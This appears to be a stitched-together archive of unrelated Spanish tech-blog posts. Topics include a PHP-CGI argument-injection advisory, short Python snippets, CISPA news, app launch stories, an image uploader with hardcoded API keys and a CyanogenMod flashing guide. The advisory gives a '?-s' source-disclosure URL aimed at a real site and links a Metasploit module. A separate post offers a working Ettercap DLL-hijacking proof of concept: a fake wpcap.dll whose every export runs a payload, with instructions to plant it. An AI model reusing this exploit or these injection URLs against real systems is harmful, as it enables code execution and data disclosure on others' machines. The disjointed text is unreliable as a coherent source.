Importancia:
5 – Crítica

Fecha de publicación:
03/05/2012

Recursos afectados
Servidores web con PHP ejecutándose como CGI.

Descripción
Posibilita el paso de parámetros al intérprete, lo que permite la ejecución de código arbitrario y la revelación de información confidencial.

Solución
Ya existen módulos de la herramienta de pentesting y hacking metasploit que permiten explotar esta vulnerabilidad por lo que se recomienda actualizar cuanto antes. Se puede hacer a través del código fuente, aunque se recomienda instalarlo a través de los mecanismos de actualización de paquetes de Linux. Para sistemas Windows, se puede descargar de la web http://windows.php.net/download/.
Como alternativa, si no se puede actualizar, el fabricante propone las siguientes reglas del módulo mod_rewrite de Apache para bloquear las URLs maliciosas:

RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*) $1? [L]

Detalle
Eindbazen, un equipo de competiciones CTF, ha descubierto una vulnerabilidad en PHP-CGI que permite pasar parámetros al intérprete de PHP, como -s o -r, a través de la URL. Por ejemplo añadiendo la cadena ‘?-s’.
Como resultado de la inyección de estos parámetros en la URL, se puede mostrar el contenido de archivos de código fuente (que puede incluir información confidencial como, por ejemplo, contraseñas de BBDD) o ejecutar código PHP arbitrario.
Aunque el parámetro ‘-r’, para ejecutar código PHP, es filtrado en php5-cgi, dependiendo de las variables de entorno, esta medida de seguridad puede evitarse.
PHP eliminó por error el código que protegía ante este problema en 2004.
FastCGI no es vulnerable.

Impacto:
Ejecución de código malicioso.
Revelación de información confidencial.

Exploit en .rb (Módulo para Metasploit):
https://github.com/rapid7/metasploit-framework/blob/2d1f4d4f3eb68ee599ac03be4d71e3c0c3443420/modules/exploits/unix/webapp/php_cgi_arg_injection.rb

Ejemplo:
http://www.facebook.com/?-s

Fuente
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

La idea de esta entrada es poner las funciones reducidas que he y hayan programado. Lo ideal es ver cuán cortas pueden ser.-

Aquí comparto algunas

strlen / len
Forma normal

def s(x):
    i = 0
    for l in x:
        i += 1
    return i

Forma corta

def l(x): return sum(1 for i in x)
l = (lambda x: sum(1 for i in x))

Contar espacios de una cadena
Forma normal

def v(x):
    i = 0
    for l in x:
        if l == ' ':
            i += 1
    return i

Forma corta

def k(x): return sum(1 for i in x if i == chr(32))

Con el paso del tiempo, espero ir agregando más.

El nuevo proyecto de ley, HR 3523, se presenta como legisladores en Washington están tratando de encontrar nuevas maneras de abordar las cuestiones de seguridad cibernética en relación con los intereses estadounidenses, y como resultado de la Rogers-Ruppersberger Ley de Seguridad Cibernética fue creada. Sin embargo, como con Sopa / PIPA la redacción del proyecto de ley es muy vaga por decir lo menos y es muy abierto a los abusos de las entidades federativas.

La Electronic Frontier Foundation, otro grupo de apoyo en línea, también ha condenado fuertemente CISPA por lo que significa para el futuro de la Internet ”. Se crea efectivamente un” cibernética” exención a todas las leyes existentes “, explica el FEP, que añade en un declaración de su voluntad y que “casi no hay restricciones en lo que se puede recoger y cómo se puede utilizar, siempre que una empresa puede solicitar que fue motivado por los efectos de la ciberseguridad”.

La CDT también han expresado su preocupación con respecto a la redacción y las implicaciones para la legislación:

Bueno, eso ahora ha cambiado.

Aquí está una lista de algunas de las grandes corporaciones que han escrito cartas en apoyo a esta nueva legislación. He incorporado la carta de Facebook por debajo de la lista:

• AT&T
• Boeing
• BSA
• Business Roundtable
• CSC
• COMPTEL
• CTIA – The Wireless Association
• Cyber, Space & Intelligence Association
• Edison Electric
• EMC
• Exelon
• Facebook
• The Financial Services Roundtable
• IBM
• Independent Telephone & Telecommunications Alliance
• Information Technology Industry Council
• Intel
• Internet Security Alliance
• Lockheed Martin
• Microsoft
• National Cable & Telecommunications Association
• NDIA
• Oracle
• Symantec
• TechAmerica
• US Chamber of Commerce
• US Telecom – The Broadband Association
• Verizon

Vía | Kode-Labs

----------------------------------------------------------------------
Exploit Title:  Ettercap NG-0.7.3 DLL hijacking (wpcap.dll)          
Autor: $ slashdot                                                                 
Testeado: Windows XP SP3 
Extensión Vulnerable: .pcap                                        
----------------------------------------------------------------------
 
#include <windows.h>
#define DLLIMPORT __declspec (dllexport)
 
 
DLLIMPORT void pcap_findalldevs() { evil(); }
DLLIMPORT void pcap_close() { evil(); }
DLLIMPORT void pcap_compile() { evil(); }
DLLIMPORT void pcap_datalink() { evil(); }
DLLIMPORT void pcap_datalink_val_to_description() { evil(); }
DLLIMPORT void pcap_dump() { evil(); }
DLLIMPORT void pcap_dump_close() { evil(); }
DLLIMPORT void pcap_dump_open() { evil(); }
DLLIMPORT void pcap_file() { evil(); }
DLLIMPORT void pcap_freecode() { evil(); }
DLLIMPORT void pcap_geterr() { evil(); }
DLLIMPORT void pcap_getevent() { evil(); }
DLLIMPORT void pcap_lib_version() { evil(); }
DLLIMPORT void pcap_lookupdev() { evil(); }
DLLIMPORT void pcap_lookupnet() { evil(); }
DLLIMPORT void pcap_loop() { evil(); }
DLLIMPORT void pcap_open_live() { evil(); }
DLLIMPORT void pcap_open_offline() { evil(); }
DLLIMPORT void pcap_setfilter() { evil(); }
DLLIMPORT void pcap_snapshot() { evil(); }
DLLIMPORT void pcap_stats() { evil(); }
int evil()
 
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

Compilar y renombrar a wpcap.dll, crear en el mismo directorio que el archivo .pcap

 

Instagram ya está disponible para su descarga para dispositivos Android a través de Google Play. La red social basada en fotografía llega al sistema operativo móvil de Google después de meses de espera repletos de rumores. Los usuarios ya pueden descargar Instagram de forma gratuita para sus dispositivos Android.

Instagram se ha hecho de rogar en Android. La aplicación-red social hasta el momento solo estaba disponible en iOS, donde ha conseguido cautivar a millones de usuarios. Hasta el momento, el servicio se limitaba a los dispositivos de Apple, aunque ya se había anunciado su adaptación a Android. Después de meses de rumores sobre su lanzamiento, el equipo de Instagram ha puesto a disposición de los usuarios la aplicación.

Se trata de una red social basada en la fotografía. Los usuarios pueden crear cuentas en Instagram y subir las fotografías que describan sus actividades, intereses o inquietudes. Sus creadores definen el servicio como “una bonita manera de compartir el mundo”.

Como uno de sus principales atractivos, Instagram destaca por ofrecer una amplia variedad de filtros automáticos que permiten cambiar totalmente la estética de las instantáneas. Estos filtros y bordes están específicamente diseñados para las fotografías de Instagram y los usuarios pueden escoger algunos como Brannan, Inkwel o Walden entre otros.

Otra función de Instagram que ha generado una gran aceptación entre los usuarios es la posibilidad de poder compartir las fotografías del servicio en otras redes sociales. De esta manera, los usuarios pueden indicar si quieren que las instantáneas que capturen y publiquen aparezcan en sus cuentas de Facebook, Twitter, Tumblr y Foursquare. Según los responsables de Instagram, dentro de poco estas opciones se ampliarán a Flickr.

Como red social que es, Instagram también cuenta con opciones para comentar contenidos, muy similares a las de Facebook. Los usuarios pueden hacer ‘me gusta’ en los contenidos de sus contactos o de las personas a las que siguen. Además, la app también permite realizar comentarios en las instantáneas.

La esperada aplicación ya está disponible para dispositivos Android con versión 2.2 y superiores, para móviles que soporten OpenGL ES 2. Instagram es una aplicación gratuita y ya se puede descargar a través de la tienda Google Play.

Enlaces relacionados:
   - Google Play (https://play.google.com/store/apps/details?id=com.instagram.android)

Vía | EuropaPress

No siendo más, acá dejo el código

#-*- coding: utf-8 -*-
 
import android
 
droid = android.Android()
sCode = droid.scanBarcode()
 
#Debug
#print sCode
 
(sRslt, sType) = sCode.result['extras']['la.droid.qr.result'], sCode.result['extras']['SCAN_RESULT_FORMAT']
QMSG = '''
by .:WindHack:.
Tipo: %s
 
Contenido: 
%s''' % (sType, sRslt)
droid.dialogCreateAlert('Resultado del Escáner', QMSG)
if sRslt.startswith('http'):
   droid.dialogSetPositiveButtonText('Abrir')
droid.dialogSetNeutralButtonText('Copiar contenido')
droid.dialogSetNegativeButtonText('Cerrar')
droid.dialogShow()
sResponse = droid.dialogGetResponse().result
if sResponse['which'] == 'positive':
   droid.view(sRslt)
elif sResponse['which'] == 'neutral':
   droid.setClipboard(sRslt)
   droid.notify('pyScanBarcode', 'Contenido copiado con éxito. ¡Gracias!')
elif sResponse['which'] == 'negative':
   exit()

Tal y como se prometió desde su lanzamiento inicial, la aplicación de mensajería multiplataforma Samsung ChatOn ya cuenta con un cliente para BlackBerry disponible directamente en el sitio www.chaton.com, aunque por el momento solo es compatible con la Torch 9800 (se espera que en poco tiempo sean más los dispositivos compatibles).

Con el lanzamiento de la versión para teléfonos inteligentes de RIM, tenemos la confirmación de que Samsung quiere una aplicación que compita de tu a tu con BlackBerry Messenger y WhatsApp, respaldada por una empresa tan importante como la coreana y con aplicaciones nativas para Bada, Android e iOS.

ChatON nos permite mandar mensajes de texto de forma gratuita con cualquiera de nuestros contactos que utilicen también la aplicación sin importar la plataforma que utilicen, además de contar con la ventaja de tener un cliente de escritorio con una interfaz accesible desde cualquier navegador web.

También se ha confirmado que en unas cuantas semanas estarán lanzando la versión de ChatON para Windows Phone, por lo que finalmente estarían llegando a todas las plataformas móviles más importantes del momento, agregando un valor extra a su aplicación la cual ahora tiene mucho mayor alcance.

Vía: Sammyhub

El reto en sí, era resolver una gran lista de ecuaciones (aproximadamente 1.000), y posteriormente sumar todos sus resultados (enteros, nada más).

Ej.
78x^2+8x-41446
66x^2+62x-124700
21x^2+15x-81654

Resultados:
(23.0, -23.102564102564102)
(43.0, -43.939393939393938)
(62.0, -62.714285714285715)

Respuesta:
23 + 43 + 62 = 128

No siendo más, aquí dejo el código.

#-*- coding: utf-8 -*-
 
from math import sqrt
 
#Función para resolver las ecuaciones.
def sSolve(a,b,c):
    (x1,x2) = (-b + sqrt(b ** 2 - 4*a*c))/(2*a),(-b - sqrt(b ** 2 - 4*a*c))/(2*a)
    return (x1,x2)
 
#Abrir el archivo con todas las ecuaciones que se deben resolver.
sFile = open('quadratic.txt','r')
#Variable para el resultado total.
tTotal = 0.0
#Bucle para recorrer línea a línea el archivo.
for line in sFile:
    #Índices para buscar los términos a, b y c.
    iA = line.find('x^2+')
    iB = line.find('x-')
    #Agrupar los valores correspondientes en una tupla (Convertidos en integer)
    (a, b, c) = int(line[:iA]),int(line[iA+4:iB]),int(line[iB+1:])
    #Resolver...
    rRes = sSolve(a,b,c)
    #Sumar respuestas válidas (Enteras).
    tTotal += rRes[0]
#Cerrar el archivo.
sFile.close()
#Imprimir en pantalla el total.
print tTotal

Modo de uso

Usage: pymgUploader.py [Options] filename

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -u SERVICE, --uploadTo=SERVICE
                        write the service to upload image. (Options: Imageshack or Imgur)

Si se corre bajo Linux, se puede ejecutar de la siguiente forma:

~ $ chmod +x pymgUploader.py
~ $ ./pymgUploader.py -h
...
~ $ python pymgUploader.py -h

Ejemplo

~ $ ./pymgUploader.py -u Imageshack '/home/windhack/Imágenes/Pantallazo del 2012-03-22 23:08:28.png'

http://img707.imageshack.us/img707/699/pantallazodel2012032223.png

http://yfrog.com/jnpantallazodel2012032223p

#!/usr/bin/python
#-*- coding: utf-8 -*-
 
#############################
# Developed by .:WindHack:. #
#     www.daw-labs.com      #
#    www.cibernodo.net      #
#############################
 
import pycurl, StringIO, os, optparse
 
def sUploadImage(sService, sFilename):
    sResponse = StringIO.StringIO()
    cUrl = pycurl.Curl()
    if sService == 'imageshack':
        sParams = [('key','4678EFIYcc556e5f788bae3495854ead3a08757d'),
                   ('fileupload',(pycurl.FORM_FILE,sFilename))]
        cUrl.setopt(pycurl.URL,'http://www.imageshack.us/upload_api.php')
    elif sService == 'imgur':
        sParams = [('key','c7bb4891711492c98ffedb0841cd9464'),
                   ('image',(pycurl.FORM_FILE,sFilename))]
        cUrl.setopt(pycurl.URL,'http://api.imgur.com/2/upload.xml')
    cUrl.setopt(pycurl.HTTPPOST, sParams)
    cUrl.setopt(pycurl.WRITEFUNCTION, sResponse.write)
    cUrl.perform()
    cUrl.close()
    return sResponse.getvalue()
 
def GetPosText(sTextA, sTextB, sSource):
    A = sSource.find(sTextA)
    B = sSource.find(sTextB)
    sSource = sSource[A+len(sTextA):B]
    return sSource
 
def xmlParser(sService, sXML):
    if sService == 'imageshack':
        sTagsA = ['<image_link>',
                 '<yfrog_link>']
 
        sTagsB = ['</image_link>',
                 '</yfrog_link>']
    elif sService == 'imgur':
        sTagsA = ['<original>',
                 '<imgur_page>']
 
        sTagsB = ['</original>',
                 '</imgur_page>']     
    sInfo = []
    for i in range(len(sTagsA)):
        sInfo.append(GetPosText(sTagsA[i],sTagsB[i],sXML))
    return sInfo
 
def myMain():
    oParser = optparse.OptionParser(usage='usage: %prog [Options] filename',version='%prog b1.0')
    oParser.add_option('-u','--uploadTo',
                       action='store',
                       dest='Service',
                       default='Imageshack',
                       help='write the service to upload image. (Options: Imageshack or Imgur)')
    (oOptions, aArgs) = oParser.parse_args()
 
    sService = oOptions.Service.lower()
    xXML = sUploadImage(sService,aArgs[0])
    sUrls = xmlParser(sService,xXML)
    for i in range(len(sUrls)):
	print sUrls[i],'\n'
 
if __name__ == '__main__':
    myMain()

Se puede descargar también haciendo clic aquí.

Jugando un poco, después de aplicarle una actualización a Android 2.3.5 (Official ROM), decidí dejar a un lado el temor y le apliqué una actualización a una de las mejores ROMs que conozco: CyanogenMod. Como es de costumbre, cada vez que realizo estas cosas y ya que adquiero cierta experiencia, procedo a escribir la guía correspondiente.

Hay que tener en cuenta que se corren -como siempre- riesgos (así sean ínfimos) de dejar inservible nuestro móvil al realizar estos procedimientos, así que no me hago responsable de lo que pueda llegar a suceder, sin embargo esta guía esta hecha especialmente para evitar que esto pase. Sin embargo, recuerde que este proceso se hace completamente bajo SU responsabilidad, y como tal quedo exento de cualquier reclamo.

Requisitos

• CyanogenMod (7.1) – descarga aquí
• SpeedMod Kernel – descarga aquí
• Heimdall Suite 1.1.1 (Win32) – descarga aquí
• GoogleApps (Opcional) – descarga aquí
• Tener el móvil con un mínimo de 60% de batería.

Proceso de actualización

ADVERTENCIA: Se debe de realizar una copia de seguridad (backup) de toda la información y contenido del móvil, ya que posiblemente al realizar este procedimiento se pueden perder toda la información y contenido del teléfono.

El primer paso que se debe realizar es, obviamente, descargar los archivos anteriormente mencionados. Antes de continuar, el archivo update-cm-7.1.0-Captivate-signed.zip se debe meter en la raíz de la SD.

• Instalando la ClockworkMod Recovery

PROCEDIMIENTO

• Se extrae el contenido del archivo heimdall-suite-1.1.1-win32.zip.

• Se apaga el móvil y se pone en Modo Download, para hacer esto, se presiona la tecla de Volumen + y Volumen -, posteriormente, mientras están presionados estos botones, se conecta el cable USB. Va a aparecer lo siguiente:

• Se ejecuta la aplicación zadig.exe que se encuentra en la carpeta Drivers del Heimdall Suite. Posteriormente se selecciona en el menú Options >> List All Devices y para finalizar se busca Samsung USB Composite Device o Gadget Serial.

Clic en “Install Driver“.

Una vez terminado este proceso, se abre el archivo heimdall-frontend.exe.

• Se descomprime el archivo SpeedMod-Kernel-i897.tar lo cual nos deja el archivo zImage.

Se da clic en Browse ( Kernel (zImage) ), se selecciona el archivo anterior y se procede a dar clic en Start.

Una vez terminado esto, ya queda instalado la ClockworkMod Recovery

• Flasheando CyanogenMod

PROCEDIMIENTO

• Primero que todo, hay que tener el .zip de CyanogenMod en la raíz de la SD.

• Se entra en modo Recovery, esto se hace apagando el teléfono, posteriormente se presionan el botón de Volumen + y Volumen - y pasados unos segudos, el botón de encendido.

• Una vez dentro de ClockworkMod Recovery, mediante los botones de volumen, se selecciona la opción Install zip from sdcard

NOTA: En algunos casos, antes de realizar este paso se hace un Wipe data/factory reset y un Wipe cache partition..

Ahora se selecciona la opción Choose zip from sdcard y se busca el .zip correspondiente al update de CyanogenMod.

• Se espera un rato a que todo se instale correctamente. Luego se reinicia (tarda un poco en hacerlo) y ¡Eureka! Ya queda nuestro móvil con CyanogenMod 7.

INSTALACIÓN OPCIONAL (GoogleApps)

• Se inserta en la raíz SD el archivo gapps-gb-20110828-signed.zip.

• Se inicia el teléfono en modo Recovery y se selecciona la opción Install zip from sdcard, luego mediante Choose zip from sdcard buscamos el archivo zip de Gapps correspondiente, esperamos unos momentos y ¡Listo!

Vídeo demostrativo (Gracias a MobileTechVideos)

Un pequeño vídeo que expone más fácilmente este proceso. En él usando Odin3 (el cual también es recomendado) pero realmente es en esencia el mismo procedimiento.

Cualquier duda, no duden en escribirla.

Saludos.,